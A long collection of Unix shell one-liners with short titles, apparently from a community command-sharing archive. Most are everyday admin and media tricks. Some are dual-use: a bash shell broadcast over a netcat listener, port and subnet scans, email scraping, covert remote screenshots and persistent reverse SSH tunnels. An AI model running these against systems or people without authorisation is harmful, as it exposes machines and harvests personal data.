# Show the power of the home row on the Dvorak Keyboard layout
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
# no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
# Use the arguments used in the last command
mkdir !*
# Create and replay macros in vim
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
# Recursively remove .svn directories
find . -type d -name .svn -delete
# Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
# Monitor memory usage
watch vmstat -sSM
# Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME
# ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'
# Recursively remove .svn directories from a local repository
find . -type d -name .svn -execdir rm -rf {} +
# split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}
# Stage only portions of the changes to a file.
git add --patch <filename>
# Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`
# Have a random "cow" say a random thing
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
# connects to a serial console
cu -s 9600 -l /dev/ttyS0
# Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
# Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
# How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
# List your MACs address
cat /sys/class/net/*/address
# kill all process that belongs to you
pkill -u `whoami`
# Takes an html file and outputs plain text from it
lynx -dump somefile.html
# print shared library dependencies
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
# Unixtime
date +%s
# Refresh the cache of font directory
sudo fc-cache -f -v
# video thumbnail gallery
totem-video-thumbnailer -pg 25 in_video out_png
# Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
# list all executables in your path
ls `echo $PATH | sed 's/:/ /g'`
# Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
# Get your outgoing IP address
curl -s icanhazip.com
# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo  apt-key add -
# Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
# Determine if a command is in your $PATH using POSIX
command -v bash
# Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg
# Facebook Email Scraper
fbemailscraper YourFBEmail Password
# Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
# Search shoutcast web radio by keyword
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}'
# Get Dollar-Euro exchage rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
# search for a file in PATH
type <filename>
# Top ten (or whatever) memory utilizing processes (with children aggregate)
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
# Recursively Find Images, Convert to JPEGS and Delete
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
# Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
# Bash: escape '-' character in filename
mv -- -filename filename
# convert UNIX timestamp to UTC timestamp
TZ=UTC date -d @1320198157
# Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
# Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
# Add all unversioned files to svn
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
# Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
# show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
# Create user add lines from partial passwd file
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
# print line and execute it in BASH
bash -x script.sh
# BASH one-liner to get the current week number
date +"%V"
# grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log |  awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
# Recursively remove 0kb files from a directory
find . -empty -type f -delete
# Mount directories in different locations
mount --bind /old/directory/path /new/directory/path
# Resize a Terminal Window
printf "\e[8;70;180;t"
# Update program providing a functionality on Debian
update-alternatives --config java
# Short one line while loop that outputs parameterized content from one file to 
anothercut -f 1 three-column.txt > first-column.txt
# Happy Days
echo {'1,2,3',4}" o'clock" ROCK
# print all network interfaces' names and IPv4 addresses
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
# Monitoring file handles used by a particular process
lsof -c <process name> -r
# Share a screen session
screen -x <screen_id>
# another tweet function
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
# Create QR codes from a URL.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
# easily strace all your apache processes
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
# Socksify any program to avoid restrictive firwalls
tsocks <program>
# Find a file's package or list a package's contents.
dlocate [ package | string ]
# Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g'  | grep mp3$  | xargs`
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-idcat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys;  cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
# On-the-fly unrar movie in .rar archive and play it, does also work on part arc
hives.unrar p -inul foo.rar|mplayer -
# Change Windows Domain password from Linux
smbpasswd -r <domain-server> -U <user name>
# Tell Analytics to fuck itself.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
# Quick directory bookmarks
to() { eval dir=\$$1; cd "$dir"; }
# List all process running a specfic port
sudo lsof -i :<port>
# Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
# Use AbiWord to generate a clean HTML document from a Microsoft Word document.
abiword --to=html file.doc --exp-props=
# netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000
# Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
# Determine MAC address of remote host when you know its IP address
arping 192.168.1.2
# Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv
# Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh [email protected] "cat > /remote/$I.sql.gz"; done
# Search and Replace across multiple files
grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g'
# Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
# Check if a process is running
kill -0 [pid]
# Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
# grep certain file types recursively
find . -name "*.[ch]" | xargs grep "TODO"
# Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
# Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
# list all file extensions in a directory
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
# decoding Active Directory date format
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
# Function that counts recursively number of lines of all files in specified fol
derscount() { find $@ -type f -exec cat {} + | wc -l; }
# Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
# Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
# Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
# Create a thumbnail from a video file
thumbnail() { ffmpeg  -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
# prints line numbers
cat -n
# Simple XML tag extract with sed
sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
# delay execution of a command that needs lots of memory and CPU time until the 
resources are available( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
# Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW
# Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`
# show git commit history
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
# diff two sorted files
diff <(sort file1.txt) <(sort file2.txt)
# Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v or ctrl-x ctrl-e
# determine if tcp port is open
nmap -p 80 hostname
# Verify if ntpd is working properly
ntpq -p
# Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" |&:; }
# Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr
# A function to find the newest file in a directory
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
# ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
# recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +
# kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill
# List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
# Print current runlevel
who -r
# Console clock
yes "echo -ne '\r'\`date\`;sleep 1" | sh
# Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com
# kill some pids without specific pid
pkill -9 search_criteria
# Randomize lines in a file
shuf SOMEFILE
# Rename all (jpg) files written as 3 number in 4 numbers.
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
# Calculate sum of N numbers (Thanks to flatcap)
seq -s "+" 3 | bc
# Load another file in vim
:split <file>
# Debug bash shell scripts.
bash -x SCRIPT
# Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
# Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
# Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"
# Terminal - Prints out, what the users name, notifyed in the gecos field, is
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
# How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"
# Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
# Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
# Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac
# Capture video of a linux desktop
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
# Run a command as root, with a delay
sudo bash -c "sleep 1h ; command"
# Broadcast your shell thru port 5000
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown -h 240 & disown
# Propagate a directory to another and create symlink to content
lndir sourcedir destdir
# Find files that were modified by a given command
strace <name of the program>
# validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
# get you public ip address
curl ifconfig.me
# Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
# Jump up to any directory above the current one
upto() { cd "${PWD/\/$@\/*//$@}" }
# Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
# Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
echo "I'm going to paste this into WINDERS XP" | xsel -i
# Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head
# Count down from 10
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
# bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}
# Vi - Matching Braces, Brackets, or Parentheses
%
# Find the process you are looking for minus the grepped one
ps -C command
# Clear mistyped passwords from password prompt
^u
# Find broken symlinks in the current directory and its subdirectories.
find -L -type l
# Move all comments the top of the file in vim
:g:^\s*#.*:m0
# What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
# Scan for nearby Bluetooth devices.
hcitool scan
# matrix in your term
cmatrix -abx
# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
# validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
# find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
# update you web
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
# Suspend an ssh session.
~ ctrl-z
# VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
# Twitter update from terminal    (pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
# List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
# bash-quine
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"
# Reconnect to screen without disconnecting other sessions
screen -xR
# full memcache client in under 255 chars (uses dd, sed and nc)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
# remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
# Twitpic upload and Tweet
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
# split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
# Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
# Generate White Noise
cat /dev/urandom > /dev/dsp
# Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
# Clean way of re-running bash startup scripts.
exec bash
# output list of modifications for an svn revision
svn log $url -r $revision -v  | egrep "   [RAMD] \/" | sed s/^.....//
# Console clock
watch -n1 'date "+%T"'
# Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
# list all opened ports on host
nmap -p 1-65535 --open localhost
# remove empty lines in place with backup
sed -e '/^$/d' -i .bak filewithempty.lines
# stop windows update
runas /user:administrator net stop wuauserv
# convert a line to a space
cat file | tr '\n' ''
# Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
# Send a local file via email
mpack -s "Backup: $file" "$file" [email protected]
# ping MAC ADDRESS
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
# list all opened ports on host
sudo lsof -P -i -n -sTCP:LISTEN
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
# display typedefs, structs, unions and functions provided by a header file
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
# Output Detailed Process Tree for any User
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
# Lists all directories under the current dir excluding the .svn directory and i
ts contentsfind . \( -type d -name .svn -prune \) -o -type d -print
# bash pause command
read -p "Press enter to continue.."
# static compilation
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
# Display a list of RPMs installed on a particular date
rpm -qa --queryformat '%{installtime}  \"%{vendor}\" %{name}-%{version}-%{release}  %{installtime:date}\n' | grep "Thu 05 Mar"
# For finding out if something is listening on a port and if so what the daemon 
is.fuser -n tcp {0..65535}
# Fibonacci numbers with awk
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
# Remove all the files except abc in the directory
find * -maxdepth 1 -type f ! -name abc -delete
# Email a file to yourself
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
# Url Encode
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
# Substitute spaces in filename with underscore
ls -1 | rename 's/\ /_/'
# Create a 5 MB blank file
dd if=/dev/zero of=testfile bs=1024 count=5000
# removing syncronization problems between audio and video
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
# Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable
# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste
' is off, and so forth (works in insert-mode and command-mode):set pt=<f9>
# extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
# Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg
# Shows you how many hours of avi video you have.
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
# List the size (in human readable form) of all sub folders from the current loc
ationdu -sch ./*
# Binary clock
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"
# Display HTTP-header using curl
curl -I g.cn
# Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste
# Get information on your graphics card on linux (such as graphics memory size)
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
# distribution specific information
lsb_release -a
# Lists all files and directories with modified time newer than a given date
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
# Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
# Securely destroy data (including whole hard disks)
shred targetfile
# Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l
# How to know the total number of packages available
apt-cache stats
# killall -r ".*my-process.*"
Kill all process using regular expression (-r option)
# Kill all Zombie processes (Guaranteed!)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
# Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
# recursive remove all htm files
find . -type f -name '*.htm' -delete
# Convert deb to rpm
alien -r -c file.deb
# Find Duplicate Files (based on size first, then MD5 hash)
fdupes -r .
# Show interface/ip using awk
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
# shows the full path of shell commands
which command
# Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1;  done
# Poor's man Matrix script
while (true) ; do pwgen 1 ; done
# colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
# uniq for unsorted data
awk '!_[$0]++{print}'
# setup a tunnel from destination machine port 80 to localhost 2001, via a secon
d (hub) machine.ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
# find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
# Pulls total current memory usage, including SWAP being used, by all active pro
cesses.ps aux | awk '{sum+=$6} END {print sum/1024}'
# Ext3 format Terabytes in Seconds
mkfs.ext3 -T largefile4
# Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
# Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)
# improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
# Compression formats Benchmark
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
# Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'
# Print all the lines between 10 and 20 of a file
sed '10,20!d'
# List processes sorted by CPU usage
ps -ef --sort=-%cpu
# ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-co
nfig.phpeval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
# Show directories in the PATH, one per line
( IFS=:; for p in $PATH; do echo $p; done )
# Bulk install
aptitude install '?and(~nlib.*perl, ~Dmodule)'
# Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
# Replace all tabs with spaces in an application
grep -PL "\t" -r . |  grep -v ".svn" | xargs sed -i 's/\t/    /g'
# Check apache config syntax and restart or edit the file
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
# Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20
# Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1
# use the real 'rm', distribution brain-damage notwithstanding
\rm somefile
# Mount partition from image (without offset mount)
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
# useless load
cat /dev/urandom | gzip -9 > /dev/null &
# Read aloud a text file in Mac OS X
say -f file.txt
# Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
# Cleanup debian/ubuntu package configurations
sudo dpkg-reconfigure -a
# List only executables installed by a debian package
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
# rot13 simple substitution cipher via command line
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
# Current running process ordered by %CPU
ps -eo pcpu,pid,args | sort -n
# To find the uptime of each process-id of particular service or process
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/"
# Email yourself a short note
quickemail() { echo "$*" | mail -s "$*" [email protected]; }
# Show in a web server, running in the port 80, how many ESTABLISHED connections
 by ip it has.netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
# clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perltidy
# Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.avi output_file.webm
# Search commandlinefu.com from the command line using the API
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
# Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
# Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
# xargs for builtin bash commands
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
# Creates a symbolic link or overwrites an existing one
ln -nvfs /source /destination
# display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file
# Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail [email protected]
# which process is accessing the CDROM
lsof -n | grep /media/cdrom
# kills rapidly spawning processes that spawn faster than you can repeat the kil
lall commandalias a=" killall rapidly_spawning_process"; a; a; a;
# Search manpages for a keyword
man -k <keyword>
# from the console, start a second X server
xinit -- :1
# Faster find and move using the find and xargs commands. Almost as fast as loca
te.find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
# Send your terminfo to another machine
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
# Live filter a log file using grep and show x# of lines above and below
tail -f <filename> | grep -C <# of lines to show above and below> <text>
# Watch contents of a file grow
tail -n 0 -f /var/log/messages
# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
# Merge video files together using mencoder (part of mplayer)
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
# Remove several files with ease
rm file{1..10}
